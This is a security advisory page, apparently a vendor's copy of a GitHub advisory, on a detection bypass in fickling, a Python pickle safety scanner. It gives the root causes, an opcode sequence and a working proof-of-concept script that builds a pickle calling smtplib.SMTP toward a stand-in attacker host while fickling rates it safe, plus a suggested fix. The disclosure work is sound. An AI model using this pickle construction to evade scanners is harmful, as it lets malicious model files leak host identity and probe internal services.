GHSA-83PF-V6QQ-PWMR

GHSA-83PF-V6QQ-PWMR is a low-severity security vulnerability in fickling (pip), affecting versions <= 0.1.7. It is fixed in 0.1.8.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Fickling has a detection bypass via stdlib network-protocol constructors

Our assessment

imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The UnusedVariables heuristic works as expected.

Original report

Fickling's check_safety() API and --check-safety CLI flag incorrectly rate as
LIKELY_SAFE pickle files that open outbound TCP connections at deserialization time
using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4,
ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.

The bypass exploits two independent root causes described below.

Root Cause 1: Incomplete blocklist (fixed in PR #233)

fickling/fickle.py (lines 41-97) defines UNSAFE_IMPORTS, the primary blocklist.
fickling/analysis.py (lines 229-248) defines the parallel
UnsafeImportsML.UNSAFE_MODULES dict. Both omitted the following stdlib
network-protocol modules whose constructors open a TCP socket at instantiation time:

Module Class Default port Constructor side-effect
smtplib SMTP 25 TCP connect, reads SMTP banner, sends EHLO
imaplib IMAP4 143 TCP connect, reads IMAP capability banner
ftplib FTP 21 TCP connect, reads FTP welcome banner
poplib POP3 110 TCP connect, reads POP3 greeting
telnetlib Telnet 23 TCP connect
nntplib NNTP 119 TCP connect, NNTP handshake

Because these module names were absent from both blocklists, UnsafeImportsML,
UnsafeImports, and NonStandardImports all stayed silent. All six are genuine
stdlib modules so is_std_module() returned True and NonStandardImports did
not fire.

Status: patched in PR #233. The six modules have been added to UNSAFE_IMPORTS.

Root Cause 2: Logic flaw in unused_assignments() at fickle.py:1183 (unpatched)

Description

unused_assignments() in fickling/fickle.py (lines 1174-1204) identifies variables
that are assigned but never referenced. UnusedVariables analysis calls this method
and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a
bare REDUCE opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over module_body statements and, when
it encounters the final result = <expr> assignment, breaks out of the loop
immediately without first walking the right-hand side expression for Name references:

# fickling/fickle.py:1183 (current code -- vulnerable)
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # this is the return value of the program
    break   # exits WITHOUT scanning statement.value

Any variable that appears only in the RHS of result = <expr> is therefore never
added to the used set and is incorrectly classified as unused.

How this enables bypass suppression

When fickling processes a REDUCE opcode in isolation, it generates:

_var0 = SMTP('attacker.com', 25)
result = _var0

Because the loop breaks before scanning result = _var0, _var0 never enters
used. UnusedVariables sees _var0 as unused and raises SUSPICIOUS.

Adding a BUILD opcode with an empty dict after the REDUCE changes the generated
AST to:

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)   # dangerous call
_var1 = _var0                      # BUILD step 1: intermediate reference
_var1.__setstate__({})             # BUILD step 2: state call
result = _var1

Now _var0 appears on the RHS of _var1 = _var0, a statement processed before the
break, so _var0 correctly enters used and UnusedVariables stays silent.

The __setstate__ call is excluded from OvertlyBadEvals because
ASTProperties.visit_Call places it in calls but not in non_setstate_calls
(line 562), and OvertlyBadEvals only iterates non_setstate_calls.

The SMTP(...) call is skipped by OvertlyBadEvals because _process_import adds
SMTP to likely_safe_imports for any stdlib module (line 550), and OvertlyBadEvals
skips calls whose function name is in likely_safe_imports (lines 339-345).

Net result: zero warnings, severity LIKELY_SAFE.

This flaw is generic -- it applies to any module not on the blocklist, not just the
six fixed in PR #233. Any future blocklist gap can be silently exploited using the
same REDUCE + EMPTY_DICT + BUILD pattern as long as this flaw remains unpatched.

Bypass opcode sequence

Offset  Opcode            Argument
------  ------            --------
0       PROTO             4
2       GLOBAL            'smtplib' 'SMTP'
16      SHORT_BINUNICODE  'attacker.com'
30      BININT2           25
33      TUPLE2
34      REDUCE                          <- TCP connection opened here
35      EMPTY_DICT
36      BUILD                           <- suppresses UnusedVariables via flaw
37      STOP

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1

No analysis rule in fickling fires on this AST.

Proof of Concept

Requires only pip install fickling. Save as poc.py and run.

import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
    h = host.encode("utf-8")
    return b"".join([
        b"\x80\x04",
        b"csmtplib\nSMTP\n",
        b"\x8c" + bytes([len(h)]) + h,
        b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
        b"\x86",   # TUPLE2
        b"R",      # REDUCE
        b"}",      # EMPTY_DICT
        b"b",      # BUILD
        b".",      # STOP
    ])

def run_poc():
    from fickling.analysis import check_safety
    from fickling.fickle import Pickled

    HOST, PORT = "127.0.0.1", 19902
    received = []

    def listener():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)
        srv.settimeout(5)
        try:
            conn, addr = srv.accept()
            received.append(addr)
            conn.close()
        except socket.timeout:
            pass
        srv.close()

    t = threading.Thread(target=listener, daemon=True)
    t.start()

    raw = build_bypass_pickle(HOST, PORT)
    loaded = Pickled.load(raw)
    result = check_safety(loaded)

    print(f"[*] fickling severity : {result.severity.name}")
    print(f"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}")

    assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
    print("[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed")

    print("[*] Calling pickle.loads() to simulate victim loading the file...")
    try:
        pickle.loads(raw)
    except Exception:
        pass

    t.join(timeout=5)

    if received:
        print(f"[+] Incoming TCP connection received from {received[0]}")
        print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
    else:
        print("[-] No TCP connection received (network blocked)")
        print("    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
    run_poc()

Expected output

[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe  : True
[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE

Tested on Python 3.11.1, Windows. Not OS-specific.

Affected versions

All releases including v0.1.7 (latest). Confirmed on latest master as of
2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).
Root cause 2 unpatched as of this report.

Reporter

Anmol Vats

Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)
can silently:

  • Enumerate victims -- receive a TCP callback every time the pickle is loaded,
    including in sandboxed environments
  • Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service
    banners are sent to the attacker's server
  • Probe internal services (SSRF) -- if the victim host can reach internal SMTP
    relays, IMAP stores, or FTP servers, the pickle probes those services on the
    attacker's behalf
  • Establish a covert channel -- protocol handshakes carry attacker-controlled
    bytes through a channel fickling explicitly labels safe

The is_likely_safe() helper (fickling/analysis.py:468-474) and the --check-safety
CLI flag both gate on severity == LIKELY_SAFE. This bypass clears that gate
completely with zero warnings.

Affected versions

fickling (<= 0.1.7)

Security releases

fickling → 0.1.8 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Walk statement.value before the break so variables referenced only in the result
assignment are correctly counted as used:

# fickling/fickle.py:1183 -- suggested fix
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # scan RHS before breaking so variables used only here are marked as used
    for node in ast.walk(statement.value):
        if isinstance(node, ast.Name):
            used.add(node.id)
    break

This is the same pattern already used for every other statement in the loop
(lines 1200-1203). All 55 non-torch tests pass with this fix applied.

Frequently Asked Questions

  1. What is GHSA-83PF-V6QQ-PWMR? GHSA-83PF-V6QQ-PWMR is a low-severity security vulnerability in fickling (pip), affecting versions <= 0.1.7. It is fixed in 0.1.8.
  2. Which versions of fickling are affected by GHSA-83PF-V6QQ-PWMR? fickling (pip) versions <= 0.1.7 is affected.
  3. Is there a fix for GHSA-83PF-V6QQ-PWMR? Yes. GHSA-83PF-V6QQ-PWMR is fixed in 0.1.8. Upgrade to this version or later.
  4. Is GHSA-83PF-V6QQ-PWMR exploitable, and should I be worried? Whether GHSA-83PF-V6QQ-PWMR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-83PF-V6QQ-PWMR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-83PF-V6QQ-PWMR? Upgrade fickling to 0.1.8 or later.

Other vulnerabilities in fickling

Stop the waste.
Protect your environment with Kodem.